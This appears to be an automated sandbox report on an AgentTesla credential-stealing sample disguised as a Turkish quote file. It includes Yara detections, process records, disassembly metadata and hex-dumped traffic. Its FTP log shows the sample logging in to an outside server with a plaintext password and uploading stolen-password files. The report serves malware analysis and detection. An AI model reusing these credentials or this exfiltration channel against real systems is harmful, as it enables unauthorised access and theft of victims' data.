2024-09-27 08:43:54 UTC	8000	IN	Data Raw: 30 30 30 39 34 30 30 30 30 30 30 41 37 30 30 30 30 30 30 33 42 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 35 38 30 30 30 30 30 30 35 39 30 31 30 30 30 30 42 31 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 31 31 43 30 30 30 30 30 32 30 30 36 45 30 30 31 39 38 37 30 30 30 44 30 30 30 30 30 30 30 30 30 32 30 30 39 44 30 30 32 33 43 30 30 30 30 46 30 30 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 Data Ascii: 00094000000A70000003B0100007600000000000000020000005800000059010000B101000076000000000000001330040004000000000000000000142A1330050004000000000000000000142A0330080004000000000000000000142A011C000002006E001987000D0000000002009D0023C0000F00000000033008000400
2024-09-27 08:43:55 UTC	8000	IN	Data Raw: 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 42 31 46 30 41 31 46 33 45 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 38 31 46 30 46 31 46 33 46 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 39 31 46 31 35 31 46 34 30 30 36 32 38 36 44 30 33 30 30 30 36 30 39 31 31 30 46 35 38 30 44 31 31 30 34 31 31 31 30 35 38 31 33 30 34 31 31 30 35 31 31 31 31 35 38 31 33 30 35 31 31 30 36 31 31 31 32 35 38 31 33 30 36 31 31 30 44 31 37 35 38 Data Ascii: 86D030006120411051106091F0D1F151F3C06286D03000612031104110511061A1C1F3D06286D030006120609110411051F0B1F0A1F3E06286D03000612051106091104181F0F1F3F06286D030006120411051106091F091F151F4006286D03000609110F580D110411105813041105111158130511061112581306110D1758
2024-09-27 08:43:55 UTC	8000	IN	Data Raw: 30 32 38 43 42 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 30 31 31 31 39 32 30 38 36 30 30 30 30 30 30 36 41 32 38 42 39 30 33 30 30 30 36 31 31 31 37 32 38 43 39 30 33 30 30 30 36 31 33 31 43 31 31 31 39 31 31 31 30 32 38 42 39 30 33 30 30 30 36 31 31 30 36 31 31 31 39 31 31 31 43 31 46 32 38 35 41 31 31 32 37 32 38 43 38 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 34 33 41 41 31 46 42 46 46 46 46 32 30 31 46 30 30 30 30 30 30 32 38 44 41 30 33 30 30 30 36 33 39 41 41 46 39 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 39 46 46 39 46 46 46 46 44 44 43 46 31 37 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 32 38 44 39 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 Data Ascii: 028CB030006111928CC0300061310111920860000006A28B9030006111728C9030006131C1119111028B903000611061119111C1F285A112728C8030006111928CC03000613143AA1FBFFFF201F00000028DA03000639AAF9FFFF262002000000389FF9FFFFDDCF17000026200000000028D90300063A0F0000002620000000
2024-09-27 08:43:55 UTC	8000	IN	Data Raw: 30 32 30 42 42 30 30 30 30 30 30 32 30 33 45 30 30 30 30 30 30 35 39 39 43 32 30 34 45 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 31 37 30 30 30 30 30 30 32 30 32 42 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 30 32 30 30 30 30 30 30 32 30 36 35 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 32 30 35 32 30 30 30 30 30 30 32 30 37 35 30 30 30 30 30 30 35 38 39 43 32 30 38 46 30 30 30 30 30 30 32 30 32 37 Data Ascii: 020BB000000203E000000599C204E000000204700000058FE0E0E00FE0C1D002000000000FE0C0E009C2017000000202B00000058FE0E0E00FE0C1D002000000000FE0C0E009C2002000000206500000058FE0E0E00FE0C1D002000000000FE0C0E009CFE0C1D00200000000020520000002075000000589C208F0000002027
2024-09-27 08:43:55 UTC	8000	IN	Data Raw: 30 30 30 34 31 30 34 30 30 30 30 46 37 30 31 30 30 30 30 33 38 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 33 30 36 30 30 30 30 35 33 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 36 32 41 30 30 30 30 31 33 33 30 30 34 30 30 33 34 30 30 30 30 30 30 35 31 30 30 30 30 31 31 32 30 30 32 30 30 30 30 30 30 38 44 31 37 30 30 30 30 30 31 30 41 30 36 32 30 30 30 30 30 30 30 30 30 46 45 30 39 30 30 30 30 41 32 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 39 30 31 30 30 38 43 30 34 30 30 30 30 30 31 41 32 32 30 30 30 30 30 30 30 30 30 30 36 31 34 32 38 42 36 30 34 30 30 30 36 32 36 32 41 31 42 33 30 30 36 30 30 42 45 30 31 30 30 30 30 35 32 30 30 30 30 31 31 37 45 35 43 Data Ascii: 00041040000F701000038060000060000001B00000100000000000000005306000053060000060000001B000001062A000013300400340000005100001120020000008D170000010A062000000000FE090000A2062001000000FE0901008C04000001A22000000000061428B6040006262A1B300600BE010000520000117E5C

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 27, 2024 10:43:37.644287109 CEST	21	49705	5.2.84.236	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Sep 27, 2024 10:43:37.644542933 CEST	49705	21	192.168.2.5	5.2.84.236	USER fgghv@alternatifplastik.com
Sep 27, 2024 10:43:37.869940042 CEST	21	49705	5.2.84.236	192.168.2.5	331 User fgghv@alternatifplastik.com OK. Password required
Sep 27, 2024 10:43:37.870100975 CEST	49705	21	192.168.2.5	5.2.84.236	PASS Fineboy777@
Sep 27, 2024 10:43:38.161242962 CEST	21	49705	5.2.84.236	192.168.2.5	230 OK. Current restricted directory is /
Sep 27, 2024 10:43:38.386324883 CEST	21	49705	5.2.84.236	192.168.2.5	504 Unknown command
Sep 27, 2024 10:43:38.386569977 CEST	49705	21	192.168.2.5	5.2.84.236	PWD
Sep 27, 2024 10:43:38.611373901 CEST	21	49705	5.2.84.236	192.168.2.5	257 "/" is your current location
Sep 27, 2024 10:43:38.632256031 CEST	49705	21	192.168.2.5	5.2.84.236	TYPE I
Sep 27, 2024 10:43:38.857228041 CEST	21	49705	5.2.84.236	192.168.2.5	200 TYPE is now 8-bit binary
Sep 27, 2024 10:43:38.860129118 CEST	49705	21	192.168.2.5	5.2.84.236	PASV
Sep 27, 2024 10:43:39.085021973 CEST	21	49705	5.2.84.236	192.168.2.5	227 Entering Passive Mode (5,2,84,236,218,179)
Sep 27, 2024 10:43:39.090953112 CEST	49705	21	192.168.2.5	5.2.84.236	STOR PW_user-701188_2024_09_27_04_43_36.html
Sep 27, 2024 10:43:39.726114988 CEST	21	49705	5.2.84.236	192.168.2.5	150 Accepted data connection
Sep 27, 2024 10:43:39.952034950 CEST	21	49705	5.2.84.236	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.227 seconds (measured here), 1.38 Kbytes per second
Sep 27, 2024 10:44:00.846366882 CEST	21	52078	5.2.84.236	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:43. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Sep 27, 2024 10:44:00.877207041 CEST	52078	21	192.168.2.5	5.2.84.236	USER fgghv@alternatifplastik.com
Sep 27, 2024 10:44:01.104191065 CEST	21	52078	5.2.84.236	192.168.2.5	331 User fgghv@alternatifplastik.com OK. Password required
Sep 27, 2024 10:44:01.104353905 CEST	52078	21	192.168.2.5	5.2.84.236	PASS Fineboy777@
Sep 27, 2024 10:44:01.356802940 CEST	21	52078	5.2.84.236	192.168.2.5	230 OK. Current restricted directory is /
Sep 27, 2024 10:44:01.584502935 CEST	21	52078	5.2.84.236	192.168.2.5	504 Unknown command
Sep 27, 2024 10:44:01.584752083 CEST	52078	21	192.168.2.5	5.2.84.236	PWD
Sep 27, 2024 10:44:01.805085897 CEST	21	52078	5.2.84.236	192.168.2.5	257 "/" is your current location
Sep 27, 2024 10:44:01.805367947 CEST	52078	21	192.168.2.5	5.2.84.236	TYPE I
Sep 27, 2024 10:44:02.025809050 CEST	21	52078	5.2.84.236	192.168.2.5	200 TYPE is now 8-bit binary
Sep 27, 2024 10:44:02.026000023 CEST	52078	21	192.168.2.5	5.2.84.236	PASV
Sep 27, 2024 10:44:02.246365070 CEST	21	52078	5.2.84.236	192.168.2.5	227 Entering Passive Mode (5,2,84,236,237,183)
Sep 27, 2024 10:44:02.252408028 CEST	52078	21	192.168.2.5	5.2.84.236	STOR PW_user-701188_2024_09_27_04_43_59.html
Sep 27, 2024 10:44:02.871179104 CEST	21	52078	5.2.84.236	192.168.2.5	150 Accepted data connection
Sep 27, 2024 10:44:03.096740961 CEST	21	52078	5.2.84.236	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.229 seconds (measured here), 1.36 Kbytes per second
Sep 27, 2024 10:44:09.020767927 CEST	21	52080	5.2.84.236	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:44. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:44. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Sep 27, 2024 10:44:09.021080017 CEST	52080	21	192.168.2.5	5.2.84.236	USER fgghv@alternatifplastik.com
Sep 27, 2024 10:44:09.245609045 CEST	21	52080	5.2.84.236	192.168.2.5	331 User fgghv@alternatifplastik.com OK. Password required
Sep 27, 2024 10:44:09.245783091 CEST	52080	21	192.168.2.5	5.2.84.236	PASS Fineboy777@
Sep 27, 2024 10:44:09.495488882 CEST	21	52080	5.2.84.236	192.168.2.5	230 OK. Current restricted directory is /
Sep 27, 2024 10:44:09.720036030 CEST	21	52080	5.2.84.236	192.168.2.5	504 Unknown command
Sep 27, 2024 10:44:09.720227003 CEST	52080	21	192.168.2.5	5.2.84.236	PWD
Sep 27, 2024 10:44:09.944448948 CEST	21	52080	5.2.84.236	192.168.2.5	257 "/" is your current location
Sep 27, 2024 10:44:09.944714069 CEST	52080	21	192.168.2.5	5.2.84.236	TYPE I
Sep 27, 2024 10:44:10.169923067 CEST	21	52080	5.2.84.236	192.168.2.5	200 TYPE is now 8-bit binary
Sep 27, 2024 10:44:10.170335054 CEST	52080	21	192.168.2.5	5.2.84.236	PASV
Sep 27, 2024 10:44:10.394684076 CEST	21	52080	5.2.84.236	192.168.2.5	227 Entering Passive Mode (5,2,84,236,203,141)
Sep 27, 2024 10:44:10.402749062 CEST	52080	21	192.168.2.5	5.2.84.236	STOR PW_user-701188_2024_09_27_04_44_07.html
Sep 27, 2024 10:44:11.022186995 CEST	21	52080	5.2.84.236	192.168.2.5	150 Accepted data connection
Sep 27, 2024 10:44:11.247031927 CEST	21	52080	5.2.84.236	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.225 seconds (measured here), 1.39 Kbytes per second

Target ID:	0
Start time:	04:43:21
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe"
Imagebase:	0xd0000
File size:	30'208 bytes
MD5 hash:	A016634929C4D57CC24719723A4CD65C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2231136103.0000000005860000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:43:34
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x290000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:43:44
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe"
Imagebase:	0xbc0000
File size:	30'208 bytes
MD5 hash:	A016634929C4D57CC24719723A4CD65C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:43:52
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe"
Imagebase:	0x4a0000
File size:	30'208 bytes
MD5 hash:	A016634929C4D57CC24719723A4CD65C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:43:58
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x8d0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:44:06
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x820000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3319267989.0000000002C07000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	99.3%
Signature Coverage:	3.2%
Total number of Nodes:	411
Total number of Limit Nodes:	14

Executed Functions

Function 05932140 Relevance: 16.2, Strings: 12, Instructions: 1176COMMON

Download Yara Rule

Strings

4, xrefs: 05932B15
$]q, xrefs: 05932A6A
$]q, xrefs: 05932597
$]q, xrefs: 05932A21
$]q, xrefs: 05932587
$]q, xrefs: 059323D3
,aq, xrefs: 05932BFA
$]q, xrefs: 05932A11
$]q, xrefs: 05932637
$]q, xrefs: 05932A7A
$]q, xrefs: 059323C3
$]q, xrefs: 05932647

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3443518476
Opcode ID: 265188e723dfcc6fdfae6a95876bf4f44aab6a839dc3708dd33cd59b83091400
Instruction ID: 246c36c9a1c511b192f6f8deee0b654dac8af32b0bbd469f4d45b75510c5bb5b
Opcode Fuzzy Hash: 265188e723dfcc6fdfae6a95876bf4f44aab6a839dc3708dd33cd59b83091400
Instruction Fuzzy Hash: 8AB2F638A00218DFDB14DFA8C995BADB7B6FF48700F158599E506AB2A5DB70EC81CF50

Function 05932467 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 05932B15
$]q, xrefs: 05932A6A
$]q, xrefs: 05932587
,aq, xrefs: 05932BFA
$]q, xrefs: 05932A11
$]q, xrefs: 05932637

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q
API String ID: 0-324474496
Opcode ID: 13fda0c895fd9db221f67c6a50e266653be272cc028d5fb86574fdf4c1a9e3a7
Instruction ID: 762dd4ce2e2320c5d29a0eff0a54f322a55bc5dee489e8d007e3914555661321
Opcode Fuzzy Hash: 13fda0c895fd9db221f67c6a50e266653be272cc028d5fb86574fdf4c1a9e3a7
Instruction Fuzzy Hash: 4422FB38A00219CFDB24DFA4C995BADB7B6FF48304F148599E509AB2A5DB70ED81CF50

Function 0079A9C0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 0079AAED
Te]q, xrefs: 0079B0E3
TJbq, xrefs: 0079AB62
RZW+, xrefs: 0079ADB1
paq, xrefs: 0079B57A

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: RZW+$TJbq$Te]q$paq$xb`q
API String ID: 0-4120908068
Opcode ID: d42f3749fecb464088d6254efdcc18affc60c680c864d8ba14d80b9d0dd8ae8d
Instruction ID: aa30652f1e1cc71832141e5889fab953c5c36d826780fee4b4de806ca8dad755
Opcode Fuzzy Hash: d42f3749fecb464088d6254efdcc18affc60c680c864d8ba14d80b9d0dd8ae8d
Instruction Fuzzy Hash: CCA2B775A00228CFDB65CF69D984A99BBB2FF89304F1581E9D50DAB325DB319E81CF40

Function 0598AA98 Relevance: 4.3, Strings: 3, Instructions: 544
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 0598ABA4
fbq, xrefs: 0598ABB7
U-wA, xrefs: 0598AEE2

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: fbq$8$U-wA
API String ID: 0-1777653695
Opcode ID: b9ddf822385f9a508ba6157c9bb96275d139953a09628ea8873fb0032805bcd6
Instruction ID: e698eb8c58e5ccbb6d040c6fb6621cc3fcab229f2a5f827d4d3b12fab57d4b5a
Opcode Fuzzy Hash: b9ddf822385f9a508ba6157c9bb96275d139953a09628ea8873fb0032805bcd6
Instruction Fuzzy Hash: 7C42C375D00629CBDB64DF69C850AD9B7B2BF89314F1486EAD44DA7251EB30AE81CF40

Function 05935750 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 05935A1E
Pl]q, xrefs: 05935938

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Pl]q$$]q
API String ID: 0-2369359564
Opcode ID: d078e26f2d11c45386fa89875ce3e9ddbc8732afdf11dd74dfaa4a6c78945cac
Instruction ID: f593cb29b0eb47ead41e9c9ab5aea5e5f3d6562efbb9033256fc4227f1c6c047
Opcode Fuzzy Hash: d078e26f2d11c45386fa89875ce3e9ddbc8732afdf11dd74dfaa4a6c78945cac
Instruction Fuzzy Hash: 03324734B40209CFCB28DF69C589A6A77FAFF89710B1684A9D406CB365DB35EC41CB61

Function 0598AA88 Relevance: 2.7, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h, xrefs: 0598AB98
fbq, xrefs: 0598ABB7

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: fbq$h
API String ID: 0-3598783323
Opcode ID: edcf4bcaf11388a66725ef3dec22dd5359b82e36a559fb7c4a79486f5969cfa5
Instruction ID: 07214b438ce047618cc3584796f4033fc15ca2efede63fe2c285685598a87601
Opcode Fuzzy Hash: edcf4bcaf11388a66725ef3dec22dd5359b82e36a559fb7c4a79486f5969cfa5
Instruction Fuzzy Hash: EC61C371D006298BEB64DF6ACC40BD9BBB6FF89310F14C6AAD40DA7250EB305A85CF51

